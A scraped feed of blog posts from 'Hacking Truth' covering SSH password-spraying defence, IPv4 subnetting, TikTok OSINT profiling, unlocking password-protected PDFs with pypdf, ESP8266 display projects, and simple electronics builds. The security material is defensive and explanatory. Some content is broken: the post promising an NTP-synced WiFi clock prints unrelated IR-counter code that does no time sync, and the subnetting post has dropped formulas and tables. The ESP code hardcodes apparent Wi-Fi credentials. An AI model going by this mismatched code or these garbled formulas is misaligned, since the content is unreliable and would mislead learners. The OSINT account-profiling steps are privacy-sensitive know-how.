Hacking Truth

ssh-password-spraying-linux-security-guide

2026-07-11T03:05:03.204-07:00

Could Your SSH Service Withstand Password Spraying?

Every Linux administrator enables SSH because it is the fastest and most secure way to manage remote systems. However, the same service is also one of the most targeted attack surfaces on the Internet.

Unlike traditional brute-force attacks that repeatedly try many passwords against a single account, password spraying is much stealthier. Attackers test a small number of common passwords across hundreds or thousands of usernames, making it much harder to detect and often avoiding account lockout policies.

The question is simple:

If someone started password spraying your SSH server today, would it survive?

In this guide, you'll learn how password spraying works, how attackers perform it, how to detect it, and the best ways to secure your Linux server.

What Is Password Spraying?

Password spraying is a cyberattack where an attacker tries one common password against many user accounts instead of trying many passwords against one account.

Example

Instead of:

admin
123456
password
admin123

Against one user:

atul

The attacker tries:

atul : Welcome@123
john : Welcome@123
root : Welcome@123
ubuntu : Welcome@123
developer : Welcome@123

Then waits several hours before trying another common password.

Because login attempts are spread across multiple accounts, many security systems fail to recognize the attack.

Why Attackers Love SSH?

SSH is usually exposed on:

Cloud VPS
AWS EC2
Azure Virtual Machines
Google Cloud
DigitalOcean
Home Labs
Raspberry Pi
Enterprise Linux Servers

If password authentication is enabled, attackers continuously scan the Internet looking for SSH services.

Popular targets include:

Ubuntu
Debian
Kali Linux
CentOS
Rocky Linux
AlmaLinux

How Password Spraying Works

If any account uses that password, the attacker gains access.

Signs Your SSH Server Is Under Attack

Common symptoms include:

Numerous failed SSH login attempts
Authentication failures from multiple IP addresses
Repeated attempts targeting many usernames
High activity in SSH logs
Unexpected CPU spikes due to authentication processing

Check SSH Logs

Ubuntu/Debian
sudo cat /var/log/auth.log

CentOS/RHEL

sudo cat /var/log/secure
Search for failed logins:
grep "Failed password" /var/log/auth.log

Example:

Failed password for invalid user admin
Failed password for root
Failed password for ubuntu
Failed password for developer

This pattern often indicates automated attacks.

View Failed SSH Attempts

Count failed logins:

grep "Failed password" /var/log/auth.log | wc -l

Find attacking IPs:

grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr

How to Protect SSH

1. Disable Password Authentication

SSH keys are significantly more secure than passwords.

Edit:

sudo nano /etc/ssh/sshd_config

Set:

PasswordAuthentication no
PubkeyAuthentication yes

Restart SSH:

sudo systemctl restart ssh

2. Disable Root Login

Never allow direct root logins.

PermitRootLogin no

3. Use Strong SSH Keys

Generate an Ed25519 key:

ssh-keygen -t ed25519

Copy it to the server:

ssh-copy-id user@server-ip

4. Change the Default SSH Port

Although changing the default port won't stop determined attackers, it reduces noise from automated bots.

Example:

Port 2222

Remember to update your firewall rules accordingly.

5. Install Fail2Ban

Install:

Ubuntu

sudo apt install fail2ban

Start service:

sudo systemctl enable fail2ban
sudo systemctl start fail2ban

Check status:

sudo fail2ban-client status sshd

Fail2Ban blocks IP addresses after repeated failed login attempts.

6. Enable Two-Factor Authentication

Even if a password is compromised, MFA can prevent unauthorized access.

Popular options:

Google Authenticator
Authy
Duo Security

7. Restrict Users

Limit SSH access to specific users.

AllowUsers atul admin

8. Use a Firewall

With UFW:

sudo ufw allow 22/tcp
sudo ufw enable

For a custom SSH port:

sudo ufw allow 2222/tcp

9. Monitor Login Attempts

View active sessions:

Recent logins:

last

Current SSH connections:

ss -tnp | grep ssh

10. Keep OpenSSH Updated

Update packages regularly:

Ubuntu

sudo apt update
sudo apt upgrade

Kali

sudo apt full-upgrade

Common Mistakes

Avoid these risky configurations:

❌ Weak passwords
❌ Root login enabled
❌ Password authentication enabled
❌ No firewall
❌ No monitoring
❌ Ignoring SSH logs
❌ Not updating openSSH

Security Hardening Checklist

Disable root login
Disable password authentication
Use SSH keys
Install Fail2Ban
Enable MFA
Restrict SSH users
Change the default port (optional)
Monitor logs regularly
Keep OpenSSH updated
Back up SSH configuration before changes

Final Thoughts

Password spraying remains one of the most effective techniques attackers use against exposed SSH services because it exploits weak password practices rather than software vulnerabilities.

A secure SSH configuration should rely on public key authentication, strong account policies, monitoring, and defense-in-depth controls such as Fail2Ban, firewalls, and multi-factor authentication. Regularly reviewing authentication logs and keeping OpenSSH up to date significantly reduces the risk of compromise.

If your server is still using password-based SSH authentication, now is the time to harden it before attackers find it.

Frequently Asked Questions (FAQ)

Q1. What is SSH password spraying?

It is an attack where a single common password is tested against many different user accounts instead of trying many passwords on one account.

Q2. Is password spraying the same as brute force?

No. Brute-force attacks target one account with many passwords, while password spraying targets many accounts with a small set of common passwords.

Q3. Can Fail2Ban stop password spraying?

Fail2Ban helps block repeated failed login attempts from the same IP address, but it should be combined with SSH keys, MFA, and proper monitoring for stronger protection.

Q4. Should I disable SSH password authentication?

Yes. Using SSH key-based authentication instead of passwords is one of the most effective ways to protect SSH access.

Q5. Does changing the SSH port improve security?

Changing the default port can reduce automated scanning and log noise, but it should not be considered a replacement for proper authentication and server hardening.

IPv4 Subnetting Explained Deeply — CIDR, Subnet Masks, Binary, Block Size & Full Subnetting Examples

2026-05-23T22:17:25.872-07:00

IPv4 Subnetting Explained Deeply — CIDR, Subnet Masks, Binary, Block Size & Full Subnetting Examples

Subnetting is one of the most important concepts in computer networking. Whether you are preparing for CCNA, working as a System Administrator, learning DevOps, configuring routers, or building enterprise networks, understanding IPv4 subnetting is mandatory.

At first, subnetting looks confusing because it involves binary calculations, CIDR notation, subnet masks, network IDs, broadcast addresses, and block sizes. But once you understand the logic behind bits and binary conversion, subnetting becomes much easier.

An IPv4 address consists of 32 bits divided into 4 octets. Each octet contains 8 bits.

Example:

192.168.1.10

4 octets

8 bits per octet

8 × 4 = 32 bits

The binary representation of the IPv4 address is:

11000000.10101000.00000001.00001010

In subnetting, we divide the IP address into two parts:

Network portion
Host portion

This separation is controlled by the subnet mask or CIDR notation.

Understanding CIDR Notation

CIDR stands for Classless Inter-Domain Routing.

Example:

192.168.1.10/29

The /29 means:

29 bits belong to the network

3 bits belong to hosts

Because IPv4 total bits are 32:

32−29=3

That means only 3 bits are available for host addresses.

How to Convert CIDR into Binary Subnet Mask

Subnet masks use:

1 for network bits
0 for host bits

For /29:

First 29 bits = 1

Remaining 3 bits = 0

Binary subnet mask becomes:

11111111.11111111.11111111.11111000

Now count all the 1s:

8+8+8+5=29

Therefore this is a /29 subnet mask.

Converting Binary to Decimal

The last octet is:

11111000

Each binary position has a decimal value.

Now apply the binary digits:

1×128
1×64
1×32
1×16
1×8
0×4
0×2
0×1

Now add active values:

128+64+32+16+8=248

So:

11111000 = 248

Therefore:

/29 = 255.255.255.248

Common CIDR to Subnet Mask Table

These subnet masks are heavily used in real enterprise networks, VLANs, WAN links, cloud networking, and routing.

Understanding Block Size

To calculate subnet ranges, we use block size.

Formula:

256 - subnet value

For /29:

255.255.255.248

Interesting octet:

248

Now calculate:

256−248=8

Therefore block size is:

This means subnet ranges increase by 8.

Full Subnetting Example — 192.168.1.10/29

Now let’s subnet the address completely.

Given:

192.168.1.10/29

Subnet mask:

255.255.255.248

Block size:

Subnet ranges become:

The IP address:

192.168.1.10

falls between:

8–15

Therefore the subnet is:

192.168.1.8/29

Final Subnetting Result

How Many Hosts in /29?

We already know:

Total bits = 32
Network bits = 29
Host bits = 3

Formula for usable hosts:

−2

Where h = host bits.

For /29:

−2=6

Therefore /29 provides:

6 usable hosts

Understanding Network ID and Broadcast Address

Every subnet contains:

One Network ID
One Broadcast Address
Remaining usable host addresses

For subnet:

192.168.1.8/29

Why Subnetting is Important

Subnetting is used everywhere in networking because it:

Reduces broadcast traffic
Improves network performance
Provides better IP management
Increases security segmentation
Helps VLAN and routing design
Optimizes enterprise networks

Without subnetting, networks become inefficient and difficult to manage.

Final Thoughts

Subnetting becomes easy once you understand three core concepts:

Binary conversion
CIDR notation
Block size calculation

The biggest key is understanding that subnet masks are simply binary numbers where:

1 = Network bit
0 = Host bit

Once you master binary math and subnet ranges, you can solve subnetting problems mentally within seconds.

The best way to improve is continuous practice with:

/24
/25
/26
/27
/28
/29
/30

These are the most commonly used subnet sizes in real-world networking environments.

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing malicious or damaging attacks. Performing any hacks without written permission is illegal ..!

All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.

All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.

- Hacking Truth by Kumar Atul Jaiswal

I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

OSINT - Open Source Intelligence : Extracting Information from TikTok

2026-03-15T02:39:00.000-07:00

OSINT - Open Source Intelligence : Extracting Information from TikTok

Today, we will explore the world of social media OSINT with a deeper focus on TikTok. What initially began as a simple short-video sharing application has quickly evolved into a massive global platform with more than one billion active users. Every day, millions of people create, share, and interact with content on TikTok at an incredible pace.

Most users see TikTok purely as an entertainment platform filled with viral videos and trends. However, beyond the entertainment aspect, TikTok can also serve as a valuable source of information. In this article, we will examine how different OSINT tools can help extract useful insights from TikTok, such as location indicators, network relationships, and hidden metadata embedded within the platform. Let’s begin the exploration.

Step #1: Understanding TikTok URL Metadata

Our first tool is Unfurl, a digital forensics tool designed to extract hidden metadata from URLs across multiple online platforms, including TikTok. The name itself reflects its function — it “unfurls” or breaks down complex URL structures to reveal the information embedded within them.

When someone shares a TikTok video, the URL contains much more than just a direct link to the content. TikTok embeds different identifiers, timestamps, and metadata within the link itself. These elements are often encoded in ways that are difficult to interpret at first glance.

Unfurl analyzes these URLs and converts the hidden data into a clear and structured visual format. This makes it much easier to examine and understand the information contained inside the link.

To begin using this tool, simply open dfir.blog/unfurl in your web browser.

The interface is simple. Paste any TikTok video link into this field and click the Unfurl button. The tool processes the URL and generates a tree diagram showing all extracted metadata.

The screenshot above shows that we have extracted the video ID, a unique identifier assigned to each video on the platform. Additionally, the author’s username and timestamps embedded in TikTok URLs indicate when the content was published. Unfurl processes these timestamps from their encoded formats and translates them into easily readable dates and times.

Step #2: Gathering TikTok Account Intelligence

Let’s shift our focus to account-level insights rather than just individual video metadata. To facilitate this, there’s a website called omar-thing.site that can help.

To begin, simply enter the username of the account you wish to explore and submit your query.

The results begin with the avatar, along with the option to download it for further analysis. Next, we can see that the account name and display name are extracted separately. The location of the account is also indicated, showing the country where the account was registered or where TikTok believes the user is based, which in this instance is Belarus. Additionally, the language used by the account owner is noted. Below that, we have the bio; however, I’ve blurred it in this case due to advertisements. Following that, we can find various account stats and details, such as the user ID, which is permanent. We can also see the creation date, the dates of any username changes, and whether the account is private or public.

At the bottom of those details, we can find lists of followers and of those being followed. We can click to explore them further or download the information for analysis later.

Disclaimer

All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

How to Unblock a Protected PDF in Python

2026-02-21T20:42:51.462-08:00

PDF encryption is commonly used to restrict editing, copying, or printing. In many enterprise workflows—legal documentation, invoice processing, automation pipelines—you may need to remove protection from a PDF file programmatically, provided you have the authorized password.

In this guide, you’ll learn how to:

Detect whether a PDF is encrypted
Ask the user for file input dynamically
Prompt securely for a password
Generate an unprotected copy
Handle errors cleanly
We will use the Python library pypdf, the maintained successor to PyPDF2.

Understanding PDF Protection Types

Before writing code, understand what “protected” means:

NOTE - ⚠ Always ensure you have legal rights to modify the document.

Step 1 — Install Required Library

pip install pypdf

Step 2 — Python Script (User Input Based)

Below is a production-safe CLI script.

from pypdf import PdfReader, PdfWriter
import os
import getpass

def unlock_pdf():
    # Ask user for input file
    input_path = input("Enter PDF file path: ").strip()

    if not os.path.exists(input_path):
        print("❌ File not found.")
        return

    # Output file name
    output_path = input("Enter output PDF file name (e.g., unlocked.pdf): ").strip()

    try:
        reader = PdfReader(input_path)

        # Check encryption
        if reader.is_encrypted:
            print("🔐 PDF is encrypted.")

            # Ask password securely
            password = getpass.getpass("Enter PDF password: ")

            if not reader.decrypt(password):
                print("❌ Wrong password.")
                return
            else:
                print("✅ Password accepted.")
        else:
            print("ℹ️ PDF is not encrypted, removing restrictions anyway.")

        # Write unlocked file
        writer = PdfWriter()

        for page in reader.pages:
            writer.add_page(page)

        with open(output_path, "wb") as f:
            writer.write(f)

        print(f"✅ Unlocked PDF saved as: {output_path}")

    except Exception as e:
        print("❌ Error:", str(e))


if __name__ == "__main__":
    unlock_pdf()

Code Breakdown (Technical Explanation)

1️⃣ PdfReader

Loads the PDF file into memory.

2️⃣ is_encrypted

Checks whether the PDF is protected.

3️⃣ decrypt(password)

Attempts decryption using user-provided password.

4️⃣ PdfWriter

Rewrites pages into a new file without restrictions.

Execution Flow

User provides file path

↓

Program checks encryption

↓

If encrypted → Ask password

↓

Decrypt → Copy pages

↓

Write new PDF (unprotected)

Security Considerations

As someone with a security background (especially if you're exploring automation or SecDevOps workflows), keep these points in mind:

Never store plaintext passwords in logs
Use getpass() for secure input
Avoid automating password cracking
Log only metadata, not document content
If integrating into CI/CD pipelines:
Use environment variables for password input
Restrict file system access
Validate file extensions

Final Thoughts

Automating PDF decryption in Python is straightforward when using the correct libraries and maintaining proper security practices. This approach is ideal for:

IT automation workflows
Enterprise document processing
Backend document services
Internal compliance tools

Disclaimer

Build a WiFi Live Clock Using ESP8266 and MAX7219 Dot Matrix Display (NTP Time Sync)

2026-02-16T20:38:18.496-08:00

Build a WiFi Live Clock Using ESP8266 and MAX7219 Dot Matrix Display (NTP Time Sync)

🧠 Introduction

In this project, we will build a real-time digital clock using an ESP8266 NodeMCU and a MAX7219 LED Dot Matrix Display. The clock automatically fetches the correct time from the internet using NTP (Network Time Protocol) over WiFi and displays it live on the LED matrix.

Unlike traditional RTC-based clocks, this project does not require an external RTC module because the ESP8266 continuously syncs time from NTP servers.

This version is intentionally kept simple and stable:

✅ Live Internet Time

✅ Blinking Colon Effect

✅ WiFi Synchronization

Perfect for beginners in IoT and ESP8266 display projects.

⚙️ Components Required

🔌 Wiring Connection (ESP8266 → MAX7219)

⚠️ Important:

Ensure you connect modules IN → OUT in sequence.
Use FC16 hardware type modules for this configuration.

🌐 How the Clock Works

ESP8266 connects to your WiFi network.
It fetches current time from NTP servers.
Time is adjusted to IST timezone.
Time is displayed on the MAX7219 LED matrix.
Colon blinks every second for a live clock effect.

💻 Complete Arduino Code (Live Time Display Only)

#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <MD_Parola.h>
#include <MD_MAX72xx.h>
#include <SPI.h>

#define HARDWARE_TYPE MD_MAX72XX::FC16_HW
#define MAX_DEVICES 4

#define DIN_PIN D7
#define CLK_PIN D5
#define CS_PIN  D8

#define IR_PIN     D2
#define SWITCH_PIN D1

MD_Parola display = MD_Parola(HARDWARE_TYPE, DIN_PIN, CLK_PIN, CS_PIN, MAX_DEVICES);
ESP8266WebServer server(80);

volatile int count = 0;
bool lastIRState = HIGH;

/* ---------- Wi-Fi credentials ---------- */
const char* ssid = "Airtel_atul_4747";
const char* password = "air83128";

/* ---------- Web page ---------- */
void handleRoot() {
  String page =
    "<!DOCTYPE html><html><head>"
    "<meta name='viewport' content='width=device-width, initial-scale=1'>"
    "<meta http-equiv='refresh' content='2'>"
    "<title>ESP8266 Counter</title></head><body>"
    "<h2>Live Counter - Hackingtruth.in | .org </h2>"
    "<h1>" + String(count) + "</h1>"
    "<a href='/reset'><button>Reset</button></a>"
    "</body></html>";
  server.send(200, "text/html", page);
}

void handleReset() {
  count = 0;
  server.sendHeader("Location", "/");
  server.send(303);
}

void setup() {
  pinMode(IR_PIN, INPUT);
  pinMode(SWITCH_PIN, INPUT_PULLUP);

  display.begin();
  display.setIntensity(5);
  display.displayClear();

  WiFi.begin(ssid, password);
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
  }

  server.on("/", handleRoot);
  server.on("/reset", handleReset);
  server.begin();
}

void loop() {
  server.handleClient();

  bool currentIRState = digitalRead(IR_PIN);

  if (lastIRState == HIGH && currentIRState == LOW) {
    count++;
    if (count > 999) count = 0;
    delay(300);
  }
  lastIRState = currentIRState;

  if (digitalRead(SWITCH_PIN) == LOW) {
    count = 0;
  }

  char buf[4];
  sprintf(buf, "%03d", count);
  display.displayText(buf, PA_CENTER, 0, 0, PA_PRINT, PA_NO_EFFECT);
  display.displayAnimate();
}

Disclaimer

ESP8266 IR Sensor Counter with Wi-Fi Logging

2026-02-15T21:39:25.986-08:00

ESP8266 IR Sensor Counter with Wi-Fi Logging, MAX7219 Display & Data History Graphs (Complete IoT Project Guide)

🔎 Introduction

IoT projects using ESP8266 are one of the best ways to learn embedded systems, networking, and real-time monitoring. In this project, we build a smart object counter system using an IR Sensor (Flying Fish v1.1), ESP8266 microcontroller, and MAX7219 LED display.

The system connects to home Wi-Fi (Router Mode) and logs sensor activity to create data history and graphical analytics.

This project is useful for:

Visitor counting systems
Production line monitoring
Smart attendance tracking
Inventory automation
Entry/Exit monitoring systems

⚙️ Components Used

# ESP8266 (NodeMCU / ESP-12) - The ESP8266 is a low-cost, 32-bit WiFi-enabled microcontroller (typically 80-160MHz) widely used for IoT projects, featuring built-in TCP/IP networking, 4MB flash, and GPIO pins. Popular development boards, such as the NodeMCU CP2102

# IR Sensor v1.1 (Flying Fish) — a compact infrared obstacle detection module with IR emitter/receiver, adjustable sensitivity potentiometer, and digital output pins for microcontroller-based object detection projects.

# MAX7219 LED Display Module - MAX7219 4-in-1 Display Dot Matrix Module is an integrated serial input/output common-cathode display driver, it connects the microprocessor 7-segment digital LED display with 8 digits, you can also connect a bar graph display or 64 independent

# 10K Resistor - A 10K resistor is mainly used for signal stability and protection in electronics. In your ESP8266 / sensor projects, common uses are:

✅ 1. Pull-up or Pull-down resistor

Keeps GPIO pins in a stable HIGH or LOW state

Example: IR sensor input / switch input stabilization

✅ 2. Button / Toggle switch circuits

Prevents floating input pins

Ensures reliable ON/OFF detection

✅ 3. Voltage divider

Reduce voltage for safe ESP8266 input (3.3V logic)

# Push Buttons - Ensures reliable ON/OFF detection

# Breadboard – Used to connect components without soldering. Helpful for quick prototyping.

# Jumper Wires – Used to make all the electrical connections between Arduino, sensors, and motor.

Wi-Fi Router (Home Network)

👉 Note: 3-Digit 7-Segment Display is optional because MAX7219 handles digital output more efficiently.

Why Use IR Sensor Instead of MH Flying Fish Sensors?

Currently, IR Sensor is preferred because:

👉 Use MH sensors later for:

Gas detection
Flame detection
Sound detection
Environmental monitoring

🔌 Hardware Connections

Sensor NodeMCU 8266 ESP

VCC -> 3V3
GND -> GND
D0 -> D2

switch

OFF -> GND
ON(I) -> D1

MAX7219 NodeMU 8266 ESP

VCC -> VIN
GND -> GND
DIN -> D7
CS -> D8
CLK -> D5

This Exact Setup:

✅ Correct Board Configuration (ESP8266 NodeMCU)

1️⃣ Select Correct Board

Tools → Board → NodeMCU 1.0 (ESP-12E Module)

2️⃣ Select Correct COM Port

Tools → Port → COMx (where ESP8266 is connected)

Check in Device Manager:

Ports (COM & LPT)

→ USB-SERIAL CH340 / CP2102

3️⃣ Correct Upload Settings (Very Important)

Tools → Upload Speed → 115200

Tools → Flash Size → 4MB (FS:2MB OTA:~1019KB)

Tools → CPU Frequency → 80 MHz

Tools → Debug Port → Disabled

Tools → Debug Level → None

Tools → Reset Method → nodemcu

Code

#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <MD_Parola.h>
#include <MD_MAX72xx.h>
#include <SPI.h>

#define HARDWARE_TYPE MD_MAX72XX::FC16_HW
#define MAX_DEVICES 4

#define DIN_PIN D7
#define CLK_PIN D5
#define CS_PIN  D8

#define IR_PIN     D2
#define SWITCH_PIN D1

MD_Parola display = MD_Parola(HARDWARE_TYPE, DIN_PIN, CLK_PIN, CS_PIN, MAX_DEVICES);
ESP8266WebServer server(80);

volatile int count = 0;
bool lastIRState = HIGH;

/* ---------- Wi-Fi credentials ---------- */
const char* ssid = "Airtel_ajay_4747";
const char* password = "air83128";

/* ---------- Web page ---------- */
void handleRoot() {
  String page =
    "<!DOCTYPE html><html><head>"
    "<meta name='viewport' content='width=device-width, initial-scale=1'>"
    "<meta http-equiv='refresh' content='2'>"
    "<title>ESP8266 Counter</title></head><body>"
    "<h2>Live Counter - Hackingtruth.in | .org </h2>"
    "<h1>" + String(count) + "</h1>"
    "<a href='/reset'><button>Reset</button></a>"
    "</body></html>";
  server.send(200, "text/html", page);
}

void handleReset() {
  count = 0;
  server.sendHeader("Location", "/");
  server.send(303);
}

void setup() {
  pinMode(IR_PIN, INPUT);
  pinMode(SWITCH_PIN, INPUT_PULLUP);

  display.begin();
  display.setIntensity(5);
  display.displayClear();

  WiFi.begin(ssid, password);
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
  }

  server.on("/", handleRoot);
  server.on("/reset", handleReset);
  server.begin();
}

void loop() {
  server.handleClient();

  bool currentIRState = digitalRead(IR_PIN);

  if (lastIRState == HIGH && currentIRState == LOW) {
    count++;
    if (count > 999) count = 0;
    delay(300);
  }
  lastIRState = currentIRState;

  if (digitalRead(SWITCH_PIN) == LOW) {
    count = 0;
  }

  char buf[4];
  sprintf(buf, "%03d", count);
  display.displayText(buf, PA_CENTER, 0, 0, PA_PRINT, PA_NO_EFFECT);
  display.displayAnimate();
}

NOTE - If you want you can also live counting in your phone with the help of IP address

You need the ESP8266’s local IP address — this is assigned by your Wi-Fi router when the NodeMCU connects in Router (STA) mode.

Here are the exact methods to get it 👇

✅ Method 1 — Serial Monitor (Best & Fastest)

Add this line in your setup() after Wi-Fi connects:

Serial.begin(115200);

WiFi.begin(ssid, password);
while (WiFi.status() != WL_CONNECTED) {
  delay(500);
  Serial.print(".");
}

Serial.println("");
Serial.print("ESP8266 IP Address: ");
Serial.println(WiFi.localIP());

Steps

Upload code

Open Tools → Serial Monitor

Set baud rate 115200

You will see:

ESP8266 IP Address: 192.168.1.45

👉 Open on phone browser:

http://192.168.1.45

Otherwise you can in computet or system that connected to the same wifi network and type in cmd ipconfig

⚠️ Common Upload Error Fix (NodeMCU)

If upload fails:

Hold FLASH button
Click Upload
Release FLASH when uploading starts

How to Check:

# Look at the top-right corner of the Arduino IDE.
# If the Serial Monitor is open, you’ll see a window titled “Serial Monitor” (it looks like a terminal).
# Simply close that window by clicking the X at the top-right of it.

Shortcut:

You can also close it by clicking:

Tools > Serial Monitor (clicking it toggles it closed if it's open)

Why it matters:

The Serial Monitor uses the COM port, so if it’s open, uploading code will fail with errors like the one you got.

Try closing it and then upload your code again.

Lets begin the test - For Live Visualization - CLICK HERE

Disclaimer

DIY Laser Security Alarm System Using Simple Electronics

2025-09-06T02:42:00.000-07:00

DIY Laser Security Alarm System Using Simple Electronics

Are you looking for a fun electronics project that is useful and affordable? In this article, we will learn how to build a Laser Security Alarm System at home. This project uses a laser diode, light sensor, transistor, and buzzer to detect intrusions. Whenever someone interrupts the laser beam, the alarm (buzzer and LED) gets activated. laser tripwire alarm, simple electronics

This DIY project is a great choice for engineering students, hobbyists, and beginners in electronics. It is also an excellent mini project for science exhibitions or school/college practicals. laser security system project

How Does a Laser Security System Work?

The working principle is very simple:

A laser diode continuously emits a red laser beam.

The beam is pointed at a light sensor (LDR or photodiode).

As long as the beam falls on the sensor, the circuit remains OFF.

If someone interrupts the laser beam (by passing through it), the sensor output changes.

This change activates a transistor switch, which turns ON a buzzer and LED alarm.

This system is the basic principle behind many real-world laser security alarms.

Components Required

Here is the shopping list for this project:

# Laser Diode Module (5V)

# Light Dependent Resistor (LDR) or Photodiode

# Transistor (2N2222 or BC547)

# Resistor (1kΩ, 10kΩ)

# Buzzer (5V)

# LED (Red/Green for indication)

# 9V Battery or 18650 Li-ion Cell with Holder

# On/Off Switch

# Connecting Wires and Breadboard / PCB

Circuit Explanation

The laser diode is powered using the battery through a switch.

The LDR receives the laser beam and keeps the transistor OFF.

When the beam is interrupted, the LDR resistance increases, causing the transistor to conduct.

The buzzer and LED connected to the transistor’s output are turned ON.

This simple setup creates an effective laser tripwire alarm system.

Applications of Laser Security System

# Home and office security alarm

# Bank and museum intrusion detection

# Science fair project for students

# Garage or door alarm system

Advantages of This DIY Project

# Low cost and easy to build

# Portable and battery powered

# Uses commonly available electronic components

# Can be upgraded with Arduino, GSM module, or ESP32 for SMS and IoT alerts

CONTACT FOR PROJECT - 7979974228 / kumaratuljaiswal222@gmail.com

Conclusion

Building a DIY Laser Security Alarm System is a practical way to learn electronics. It not only improves your skills but also provides a mini working model of a real-world security system. With just a laser, LDR, transistor, and buzzer, you can design your own laser tripwire alarm at home. laser alarm using LDR, BC547 laser alarm circuit

If you want to expand this project, you can add Arduino, ESP32, or GSM modules to send SMS or Wi-Fi alerts when the laser beam is interrupted.

Start simple, and keep upgrading! 🚀 DIY laser alarm, projects, mini project for students, home security system project

DIY TP4056 Battery Charger with 18650 Battery Level Indicator

2025-09-04T02:22:00.000-07:00

DIY TP4056 Battery Charger with 18650 Battery Level Indicator

If you are looking for a simple DIY battery charging circuit with a battery level indicator, then this project is perfect for you. Using the TP4056 battery charger module and a 3.7V 18650 Li-ion battery, we will build a compact and reliable battery charging and monitoring system. This project is highly useful for electronics hobbyists, students, and anyone interested in learning how to safely charge Li-ion batteries.

🔹 Components Required

Here is the shopping list for this project:

TP4056 Type-C Battery Charger Module with Protection

18650 Li-ion Battery (3.7V, 2000–2600mAh)

18650 Battery Holder

Battery Level Indicator Module (1S, 5 LED display)

Jumper Wires or Thin Electric Wires

Soldering Kit (optional, for permanent connections)

👉 All these components are easily available on Amazon, Flipkart, or local electronics shops.

🔹 Circuit Explanation

The TP4056 charger module is designed for charging single-cell Lithium-ion batteries (3.7V). It works with a 5V input supply (mobile charger/USB).

B+ / B- pins → Connect to the battery terminals

OUT+ / OUT- pins → Connect to the load (here, the battery level indicator)

Type-C/USB port → Connect to any 5V power adapter or mobile charger

The Battery Level Indicator module shows the real-time charge status of the battery using LEDs.

🔹 How It Works

Plug in mobile charger (5V) → TP4056 starts charging the 18650 battery.

Red LED ON (TP4056) → Battery is charging.

Blue LED ON (TP4056) → Battery is fully charged (around 4.2V).

The Battery Level Indicator shows charge percentage:

1 LED = 20% battery

3 LEDs = 60% battery

5 LEDs = 100% fully charged

👉 Note: After unplugging the charger, the indicator may show one bar less due to voltage drop. This is normal.

🔹 Applications

DIY power banks

Portable electronic devices

IoT projects

Educational projects for students

Backup power supplies

🔹 Cost & Selling Price

Component cost: ₹300–450 (depending on source)

You can sell a ready-made project for ₹800–1000

Great project idea for school/college students

🔹 Advantages of This Project

✅ Simple and low-cost design

✅ Uses easily available components

✅ Real-time battery monitoring

✅ Safe charging with protection circuit

✅ Can be extended for DIY power banks

🔹 Conclusion

This TP4056 battery charger project with 18650 battery and level indicator is a beginner-friendly DIY electronics project. It not only helps you learn about Li-ion battery charging circuits but also provides a practical solution for powering small devices. With just a few components, you can create your own battery charging and monitoring system at home.

TP4056 battery charger project, 18650 Li-ion battery charging circuit, DIY battery level indicator, TP4056 with protection, Li-ion battery monitor project

API Testing with curl and jq in Termux

2025-08-26T05:13:00.000-07:00

🚀 API Testing with curl and jq in Termux

APIs (Application Programming Interfaces) are the backbone of modern applications. Whether you are a developer, tester, or cybersecurity enthusiast, testing APIs quickly from the terminal can save a lot of time. In this article, we’ll explore how to use curl and jq in Termux to test APIs with the example of the free dummy.restapiexample.com API.

🔧 What You Need

Termux installed on your Android device.

curl (for making API requests).

jq (for parsing and formatting JSON).

👉 Install jq in Termux:

pkg install jq

🌐 Step 1: Making a Simple GET Request

To fetch employee data from the dummy API:

curl -X GET https://dummy.restapiexample.com/api/v1/employees

This returns raw JSON with employee details.

🎨 Step 2: Pretty Print JSON with jq

Raw JSON is often messy. Use jq to format it:

curl -s https://dummy.restapiexample.com/api/v1/employees | jq

Here,

-s suppresses extra output.

jq beautifies the JSON response.

🎯 Step 3: Extract Specific Data

Want just the employee names?

curl -s https://dummy.restapiexample.com/api/v1/employees | jq '.data[].employee_name'

Want only salaries?

curl -s https://dummy.restapiexample.com/api/v1/employees | jq '.data[].employee_salary'

🔍 Step 4: Fetch a Single Employee

To get details of employee with ID 1:

curl -s https://dummy.restapiexample.com/api/v1/employee/1 | jq

🛠 Pro Tip: Add Headers if Blocked

Sometimes APIs block requests without a User-Agent header. In that case:

curl -s -H "User-Agent: Mozilla/5.0" https://dummy.restapiexample.com/api/v1/employees | jq

📌 Why Use curl + jq in Termux?

✅ Lightweight, runs directly on Android.

✅ No need for heavy apps like Postman.

✅ Great for quick debugging and testing.

✅ Works offline with saved API responses.

🏁 Conclusion

With just curl and jq in Termux, you can test, debug, and filter API responses right from your phone. Whether you’re learning APIs, doing quick tests, or working on DevOps tasks, this combo is a powerful and minimalist toolkit.

working process of virtualization technology

2025-06-30T00:37:00.000-07:00

What is virtualization?

Virtualization is the process of creating virtual versions of computer resoureces such as hardware platforms, operating systems, storage devices, or network resources. It allows multiple virtual instances of run concurrently on a single physical machine. Key components include virtual machines (VMs), a hypervisor for management, and host and guest machines. Virtualization types include full, para-virtualization and hardware-assisted virtualization. Benefits include resouces optimization improved hardware utilization, scalability and easier disaster recovery.

What is Hypervisor?

